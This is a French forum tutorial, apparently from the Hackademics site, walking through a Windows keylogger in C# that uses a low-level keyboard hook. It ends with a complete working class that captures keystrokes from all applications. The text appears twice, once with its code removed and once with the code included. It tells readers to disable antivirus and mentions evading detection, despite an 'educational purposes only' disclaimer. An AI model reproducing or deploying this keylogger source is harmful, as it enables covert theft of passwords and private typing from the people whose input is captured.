Bonjour,
Je vous propose ici un "tutoriel" pour la programmation d'un keylogger pour les OS Microsoft (d'Xp à 8.1 d'après mes tests).
J'ai utilisé Xamarin (Mono en gros) et Windows 8.1, sur une VM mais ça n'a pas vraiment d'importance.
Le but va être de découvrir comment utiliser la WinApi (des fonctions que Windows propose aux programmeurs) en C# par le biais de la construction d'un keylogger qui aura pour principal but que récupérer les entrées saisies au clavier et de les afficher dans la console. Pas de perte de temps à écrire dans un fichier, envoyer par courriel ou autre, le tutoriel va se concentrer sur l'aspect WinApi plus qu'autre chose !
Je vais rester très simpliste, le but n'étant pas de faire un papier technique et précis, mais une sorte d'introduction.
Les concepts de programmation qui seront utilisés vont êtres globalement simples, mais là encore il faut de solides bases pour comprendre sans problème la couche d'abstraction qu'apporte la WinApi, et bien sûr on va faire une class donc un niveau correct en POO (qui est le minimum de nos jours...).
Gardez la bible ouverte : https://msdn.microsoft.com/en-us/lib...=vs.85%29.aspx, je n'expliquerais pas en détail chaque fonction/étape, et un rappel du msdn est toujours appréciable.
Autre petit point, désactivez votre anti-virus, avec nos gros sabots on sera certainement pas FUD, et c'est d'ailleurs pas le sujet du "tutoriel"...
On commence par créer un projet console et une nouvelle class keylogger (on est très explicites oui) avec en import obligatoire :
Cela nous permet d'utiliser l'import de dll "natives".
I - Que va-t-il falloir faire ?
Question ma foi très importante...
Le principe sera de "capturer" des saisies au clavier et de les afficher dans notre programme. Pour cela, on dois avoir accès au clavier au niveau de l'os et non seulement de notre application car il faut surtout capturer ce qu'il se passe dans les autres fenêtres que celle de notre programme.
Comment faire cela ? On peux placer ce qu'on appel un "hook" qui va "écouter" la partie de l'OS qui gère les arrivées d’événements liées au clavier.
Pour cela on va devoir importer la fonction SetWindowsHookEx qui se trouve dans la Dll "native" User32.dll.
En C# on aura une chose de la sorte :
Je n'invente pas les arguments,ils sont précisés ici : https://msdn.microsoft.com/en-us/lib...=vs.85%29.aspx.
Vous aurez compris la syntaxe assez enfantine
Quelles autres fonctions de la WinApi seront utiles ? UnhookWindowsHookEx et CallNextHookEx.
Respectivement la première permet d'enlever le hook sur le clavier à la fin de notre programme, la seconde permet d'envoyer les événements aux autres applications (sinon seul notre programme reçois les saisies claviers !).
Mes 2 autres appels donc :
On peux déjà voir une Struct "LowLevelKeyboardProcStruct".
Là encore ça vient tout droit de msdn...recopié "bêtement", qui va nous donner ceci :
Maintenant avant d'aller plus loin il faut définir un attribut à la classe, qui sera le pointeur que renverra SetWindowsHookEx (encore une fois, référence à msdn sur la valeur de retour...)
hhok pour handleHook tout simplement.
C'est bien beau tout ceci, mais il va falloir créer une méthode pour lancer le hook !
Pour initialiser un hook il faut appeler SetWindowsHookEx. Notre idHook sera 13 (Le clavier), notre callback une fonction que l'on va créer, hookProc pour ma part, un hInstance qui sera égal à IntPtr.zero, et le dernier à 0...Là encore c'est du copier/coller depuis msdn.
J'ai déclaré WH_KEYBOARD_LL = 13 plutôt dans le code. Par la même occasion le simplissime unhook est présent
Que manque-t'il ? Le traitement des données reçues bien sûr !
On va simplement lever un event si la touche est pressée, et si elle est valide (code >=0 donc).
Attention : Dans tous les cas je dois renvoyer CallNextHookEx sinon ça va "bloquer" le clavier !
J'ai donc crée un event KeyDown au préalable....
Et on a...fini
Ma classe un peu améliorée / changée / etc...
Si vous êtes arrivés jusqu'ici, vous savez certainement utiliser une class, je mets donc pas de code sur son utilisation Globalement il faut rajouter l'event handler, et afficher dans la console la touche reçue, rien de bien sorcier...
Le principe n'est pas de c/c mon/mes codes, mais de réussir à le refaire soit même si possible de "a à z".
Avec ce code ci, vous avez 99% de chance que même le pire AV du monde vous détecte comme "méchant".
En espérant que ça aura débloqué quelques "trucs" sur la WinApi en C#
Je vous propose ici un "tutoriel" pour la programmation d'un keylogger pour les OS Microsoft (d'Xp à 8.1 d'après mes tests).
J'ai utilisé Xamarin (Mono en gros) et Windows 8.1, sur une VM mais ça n'a pas vraiment d'importance.
Le but va être de découvrir comment utiliser la WinApi (des fonctions que Windows propose aux programmeurs) en C# par le biais de la construction d'un keylogger qui aura pour principal but que récupérer les entrées saisies au clavier et de les afficher dans la console. Pas de perte de temps à écrire dans un fichier, envoyer par courriel ou autre, le tutoriel va se concentrer sur l'aspect WinApi plus qu'autre chose !
Je vais rester très simpliste, le but n'étant pas de faire un papier technique et précis, mais une sorte d'introduction.
Les concepts de programmation qui seront utilisés vont êtres globalement simples, mais là encore il faut de solides bases pour comprendre sans problème la couche d'abstraction qu'apporte la WinApi, et bien sûr on va faire une class donc un niveau correct en POO (qui est le minimum de nos jours...).
Gardez la bible ouverte : https://msdn.microsoft.com/en-us/lib...=vs.85%29.aspx, je n'expliquerais pas en détail chaque fonction/étape, et un rappel du msdn est toujours appréciable.
Autre petit point, désactivez votre anti-virus, avec nos gros sabots on sera certainement pas FUD, et c'est d'ailleurs pas le sujet du "tutoriel"...
On commence par créer un projet console et une nouvelle class keylogger (on est très explicites oui) avec en import obligatoire :
Code:
using System.Runtime.InteropServices;
I - Que va-t-il falloir faire ?
Question ma foi très importante...
Le principe sera de "capturer" des saisies au clavier et de les afficher dans notre programme. Pour cela, on dois avoir accès au clavier au niveau de l'os et non seulement de notre application car il faut surtout capturer ce qu'il se passe dans les autres fenêtres que celle de notre programme.
Comment faire cela ? On peux placer ce qu'on appel un "hook" qui va "écouter" la partie de l'OS qui gère les arrivées d’événements liées au clavier.
Pour cela on va devoir importer la fonction SetWindowsHookEx qui se trouve dans la Dll "native" User32.dll.
En C# on aura une chose de la sorte :
Code:
[DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
Vous aurez compris la syntaxe assez enfantine
Quelles autres fonctions de la WinApi seront utiles ? UnhookWindowsHookEx et CallNextHookEx.
Respectivement la première permet d'enlever le hook sur le clavier à la fin de notre programme, la seconde permet d'envoyer les événements aux autres applications (sinon seul notre programme reçois les saisies claviers !).
Mes 2 autres appels donc :
Code:
[DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hHook); [DllImport("user32.dll")] static extern int CallNextHookEx (IntPtr idHook, int nCode, int wParam, ref LowLevelKeyboardProcStruct lParam);
Là encore ça vient tout droit de msdn...recopié "bêtement", qui va nous donner ceci :
Code:
public struct LowLevelKeyboardProcStruct{ public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; }
Code:
public IntPtr hhook = IntPtr.Zero;
C'est bien beau tout ceci, mais il va falloir créer une méthode pour lancer le hook !
Pour initialiser un hook il faut appeler SetWindowsHookEx. Notre idHook sera 13 (Le clavier), notre callback une fonction que l'on va créer, hookProc pour ma part, un hInstance qui sera égal à IntPtr.zero, et le dernier à 0...Là encore c'est du copier/coller depuis msdn.
Code:
public void hook(){ hhook = SetWindowsHookEx (WH_KEYBOARD_LL, hookProc, IntPtr.Zero, 0); } public void unhook(){ UnhookWindowsHookEx (hhook); }
Que manque-t'il ? Le traitement des données reçues bien sûr !
On va simplement lever un event si la touche est pressée, et si elle est valide (code >=0 donc).
Attention : Dans tous les cas je dois renvoyer CallNextHookEx sinon ça va "bloquer" le clavier !
Code:
public int hookProc(int code,int wParam, ref LowLevelKeyboardProcStruct lParam){ if (code >= 0) { //Si un code est renvoyé, et valide... Keys key = (Keys)lParam.vkCode; //Cast de la clef dans le type Keys, plus pratique à utiliser ! KeyEventArgs eventArgs = new KeyEventArgs(key); if( wParam == WM_KEYDOWN && KeyDown!=null){ //Une touche est enfoncée KeyDown (this, eventArgs); } } } //On permets aux prochains hooks d'autres app de s'executer... return CallNextHookEx (hhook, code, wParam, ref lParam); }
Et on a...fini
Ma classe un peu améliorée / changée / etc...
Code:
/* * Par Int80h pour Hackademics * But purement éducatif, ne pas utiliser. */ using System; using System.Collections.Generic; using System.Runtime.InteropServices; //Pour l'utilisation de l'enum Keys, on importe Forms. C'est plus pratique et moins moche dans le code. using System.Windows.Forms; namespace keylogger { public class Keylogger { //Import des Dll natives importes : User32 pour les hook [DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId); [DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hHook); [DllImport("user32.dll")] static extern int CallNextHookEx (IntPtr idHook, int nCode, int wParam, ref LowLevelKeyboardProcStruct lParam); public delegate int LowLevelKeyboardProc(int code,int wParam,ref LowLevelKeyboardProcStruct lParam); public struct LowLevelKeyboardProcStruct{ public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; } const int WH_KEYBOARD_LL = 13; const int WM_KEYDOWN = 0x100; public List<Keys> HookedKeys = new List<Keys>(); public List<Keys> BannedKeys = new List<Keys>(); public IntPtr hhook = IntPtr.Zero; public event KeyEventHandler KeyDown; public Keylogger () { hook (); } ~Keylogger () //Mon destructeur { unhook(); } public void hook(){ hhook = SetWindowsHookEx (WH_KEYBOARD_LL, hookProc, IntPtr.Zero, 0); } public void unhook(){ UnhookWindowsHookEx (hhook); } public int hookProc(int code,int wParam, ref LowLevelKeyboardProcStruct lParam){ if (code >= 0) { //Si un code est renvoyé, et valide... Keys key = (Keys)lParam.vkCode; //Cast de la clef dans le type Keys, plus pratique à utiliser ! if ( //On va prendre seulement les Keys voulues, et donc les autorisées ou toutes exceptées les bannies. (HookedKeys.Contains (key) || HookedKeys.Count == 0) && (!BannedKeys.Contains(key) || BannedKeys.Count ==0)) { KeyEventArgs eventArgs = new KeyEventArgs(key); if( wParam == WM_KEYDOWN && KeyDown!=null){ //Une touche est enfoncée KeyDown (this, eventArgs); } } } //On permets aux prochains hooks d'autres app de s'executer... return CallNextHookEx (hhook, code, wParam, ref lParam); } } }
Le principe n'est pas de c/c mon/mes codes, mais de réussir à le refaire soit même si possible de "a à z".
Avec ce code ci, vous avez 99% de chance que même le pire AV du monde vous détecte comme "méchant".
En espérant que ça aura débloqué quelques "trucs" sur la WinApi en C#
Commentaire